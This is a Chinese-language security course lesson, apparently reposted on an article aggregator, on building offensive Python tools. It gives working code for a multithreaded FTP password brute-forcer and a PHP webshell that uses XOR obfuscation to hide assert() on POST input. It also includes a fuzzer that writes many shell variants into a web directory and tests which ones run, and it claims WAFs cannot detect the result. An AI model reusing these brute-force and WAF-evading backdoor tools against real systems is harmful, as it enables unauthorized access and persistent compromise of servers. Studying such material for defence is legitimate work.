78 Python开发-多线程FuzzWaf异或免杀爆破

这里写目录标题

    • 本课知识点:
    • 学习目的:
    • 演示案例:
      • Python开发-简单多线程技术实现脚本
      • Python开发-利用FTP模块实现协议爆破脚本
      • Python开发-配合Fuzz实现免杀异或Shell脚本
    • 涉及资源:

在这里插入图片描述

本课知识点:

协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术

学习目的:

掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打WAF等

演示案例:

Python开发-简单多线程技术实现脚本

queue,threading模块使用

Python开发-利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

python里面基本上都有相对应的支持协议模块的库,我们就可以使用相关的库进行相关协议的连接

我们启动ftp服务器,到时候进行连接测试
在这里插入图片描述
ftp软件这边是可以看到日志的,到时候我们爆破的时候可以看一下有没有登录日志,看一下是不是正常的
在这里插入图片描述
我们在爆破的时候,要先把账号密码准备好,再去连接他
在这里插入图片描述
这个就是一个很正常的连接情况
在这里插入图片描述
服务器对外的服务端口是可以更改的

import ftplib                         # 导入ftplib模块
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
import sys# 爆破:ip,端口,用户名,密码字典
def ftp_brute(ip,port):ftp = ftplib.FTP()                              # 创建ftp的操作类ftp.connect(ip, int(port))                      # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)# .empty()如果队列为空,返回 True,否则返回 Falsewhile not q.empty():                            # while 循环 not(非,反转) 真为假,假为真user_pass = q.get()                         # 获取队列,timeout等待时间list = user_pass.split('|')                 # split() 拆分字符串,等到的是一个列表username = list[0]                          # 用户名password = list[1]                          # 密码# print(f"{username} | {password}")try:                                        # 如果连接的用户名或密码错误就会报错,这个做个异常处理ftp.login(username,password)            # 连接的用户名,密码# ftp.retrlines('list')                   # 获取FTP服务器上的文件信息print(f"连接成功,账号:{username},密码:{password}")except Exception as e:# print(f"连接失败,{username}|{password}")passif __name__ == '__main__':try:ip = sys.argv[1]                               # 接收外部传进来的第一个参数ip,如:192.168.1.5port = sys.argv[2]                             # 接收外部传进来的第二个参数端口,如:21userfile = sys.argv[3]                         # 接收外部传进来的第三个参数用户名字典,如:ftp-user.txtpassfile = sys.argv[4]                         # 接收外部传进来的第四个个参数密码字典,如:ftp-pass.txtthreading_num = sys.argv[5]                    # 接收外部传进来的第五个参数创建的线程数,建议:5-10except IndexError as e:ip = '192.168.1.5'port = 21userfile = 'ftp-user.txt'passfile = 'ftp-pass.txt'threading_num = 5passq = queue.Queue()                              # 创建队列for username in open(userfile):                # ftp-user.txt 就是一个简单的用户名字典,自己创建一个或在网上下载都可以for password in open(passfile):            # 遍历密码字典username = username.replace('\n', '')  # 将换行替换为空password = password.replace('\n', '')q.put(username + '|' + password)       # 向队列中插入元素(用户名与密码)# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(int(threading_num)):                 # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9t = threading.Thread(target=ftp_brute,args=(ip,port))     # 创建线程对象,target=执行目标任务名t.start()                                  # 启动线程,让他开始工作

通过ftp模块的学习,大家可以去写个其它协议的,比如mysql或者sqlserver的,模块打上去就完事了,就可以用这个模块进行连接操作

Python开发-配合Fuzz实现免杀异或Shell脚本

1.免杀异或shell原理讲解及开发思路 (参考及举例: !@,?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入网站文件中
3.基于多线程实现批量访问shell文件并提交测试是否正常连接回显

‘!’ ‘^’ '@'经过异或运算之后结果为a,与后面的ssert形成assert()函数,执行后门。或者是每个字母都进行异或运算最后形成执行函数

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>   // assert()

这个就是网上说的无字符后门

import requests                       # 这个模块是来发送网络请求的
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步def create_shell():while not q.empty():                                            # while 循环 not(非,反转) 真为假,假为真filename = q.get()                                          # 获取队列url = f'http://127.0.0.1/x/{filename}'                      # 定义请求的URLdata = {                                                    # 定义请求的参数'x':'phpinfo();'                                        # phpinfo()方法可以打开phpinfo页面(里面包含一些PHP的版本、扩展之类的信息)}try:result = requests.post(url,data=data).content.decode('utf-8')  # 使用requests模块发送post请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式if 'phpinfo()' in result:                                      # 判断返回的源代码中是否包含phpinfo()这个字符串,有就是请求成功了后门程序可用,没有就是失败print(filename + '|ok')# else:#     print(filename + '|no')except Exception as e:passif __name__ == '__main__':q = queue.Queue()                                                         # 创建队列for i in range(1, 127):                                                   # ASCII值的范围就是1-127for ii in range(1, 127):payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"          # chr()方法将数字转换为ASCII值对应的字符code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"      # 定义后门代码filename = str(i) + 'xd' + str(ii) + '.php'                       # 定义文件路径q.put(filename)                                                   # 向队列中插入元素(文件名)# 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}', 'a') as f:  # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容f.write(code)                                                  # 向文件写入后门代码print(f"正在生成文件:{filename}")print(q.get())# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(10):                                                         # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9t = threading.Thread(target=create_shell)                              # 创建线程对象,target=执行目标任务名t.start()                                                              # 启动线程,让他开始工作

这个后门是WAF查杀绝对找不出来的

涉及资源:

Webshell免杀绕过waf:https://blog.csdn.net/weixin_43263566/article/details/129391167
fuzzdb:https://github.com/zhanye/fuzzdb
fuzzDicts:https://github.com/stemmm/fuzzDicts
Webshell免杀绕过waf:https://www.cnblogs.com/liujizhou/p/11806497.html
python ftplib模块:https://www.cnblogs.com/kaituorensheng/p/4480512.html
PHP异或:https://blog.csdn.net/qq_41617034/article/details/104441032

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/317741.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于EPICS modbus模块的单通道电压监测项目

先介绍在本项目中使用到的硬件&#xff1a; 1&#xff09;开发板&#xff1a;为香橙派Zero2&#xff0c;安装系统如下&#xff1a; Distributor ID: Ubuntu Description: Ubuntu 22.04.2 LTS Release: 22.04 Codename: jammy 2&#xff09; USB转485模块&…

Apache的配置与应用

目录 1、Apache简介 2、Apache连接保持 3、Apache的访问控制 3.1、客户机地址限制 3.2、用户授权限制 &#xff08;1&#xff09;创建用户认证数据文件 &#xff08;2&#xff09;添加用户授权配置 &#xff08;3&#xff09;验证用户访问授权 4、Apache日志分割 4…

贝莱德等巨头将通过最终考验!ETF获批是涨是跌?交易数据背后的博弈信号已经显现!

还记得摩根大通&#xff08;(J.P.Morgan&#xff09;首席执行长杰米-戴蒙&#xff08;Jamie Dimon&#xff09;说「如果他是政府&#xff0c;他就会关闭比特币」&#xff0c;加密货币的唯一「真正用途是犯罪、贩毒、洗钱和避税」吗&#xff1f; 然而&#xff0c;最新消息显示&a…

后缀自动机超详细

后缀自动机 1.关于 e n d p o s endpos endpos 理解含义 假设字符串s是字符串S的一个子串&#xff0c;则 e n d p o s ( s ) endpos(s) endpos(s)表示s在S中的所有结束位置&#xff0c;如在字符串 a b c a b c a b abcabcab abcabcab中&#xff0c; e n d p o s ( a b ) 2 …

域名授权验证系统PHP源码,盗版追踪、双重授权和在线加密功能,附带安装教程

源码介绍 PHP域名授权验证系统是一个功能强大的系统&#xff0c;提供了多项功能来保护你的域名和软件的合法性。它包括盗版追踪、域名IP双重授权、在线加密等功能&#xff0c;同时还提供了PHP授权验证更新系统的完整版&#xff0c;方便你进行一键更新和生成自助授权。 盗版追…

数字信号处理期末复习——计算小题(二)

个人名片&#xff1a; &#x1f981;作者简介&#xff1a;一名喜欢分享和记录学习的在校大学生 &#x1f42f;个人主页&#xff1a;妄北y &#x1f427;个人QQ&#xff1a;2061314755 &#x1f43b;个人邮箱&#xff1a;2061314755qq.com &#x1f989;个人WeChat&#xff1a;V…

虾皮跨境电商选品有哪些规则

如何在虾皮&#xff08;Shopee&#xff09;平台上进行跨境电商选品在如今全球化的商业环境中&#xff0c;跨境电商已成为许多卖家拓展业务的重要途径。虾皮&#xff08;Shopee&#xff09;作为一家知名的跨境电商平台&#xff0c;为卖家提供了丰富的销售机会。然而&#xff0c;…

电磁波的信号加载说明

电磁波的信号加载电磁波(Electromagnetic wave)是由同相振荡 且互相垂直的电场与磁场在空间中衍生发射的振荡粒子波&#xff0c;是以波动的形式传播的电磁场&#xff0c;具有波粒二象性&#xff0c;其粒子形态称为光子&#xff0c;电磁波与光子不是非黑即白的关系&#xff0c;而…

RocketMQ5.0顺序消息设计实现

前言 顺序消息是 RocketMQ 提供的一种高级消息类型&#xff0c;支持消费者按照发送消息的先后顺序获取消息&#xff0c;从而实现业务场景中的顺序处理。 顺序消息的顺序关系通过消息组&#xff08;MessageGroup&#xff09;判定和识别&#xff0c;发送顺序消息时需要为每条消息…

五步解决Ubuntu界面太小的问题

名人说&#xff1a;莫听穿林打叶声&#xff0c;何妨吟啸且徐行。—— 苏轼《定风波莫听穿林打叶声》 Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#xff09; 对于20版本及以上的unbuntu我们可以通过安装open-vm-tools来解决界面大小的问题&#xff0c;具体步骤如…

Leetcode 62 不同路径

题意理解&#xff1a; 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish” &#xff09; 要求&#xff1a;机器人只能…

定时器PWM控制RGB彩灯案例

1.脉冲宽度调制PWM PWM&#xff08;Pulse Width Modulation&#xff09;简称脉宽调制&#xff0c;是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术&#xff0c;广泛应用在测量、通信、工控等方面。   PWM的一个优点是从处理器到​​ ​被控系统​​​信号…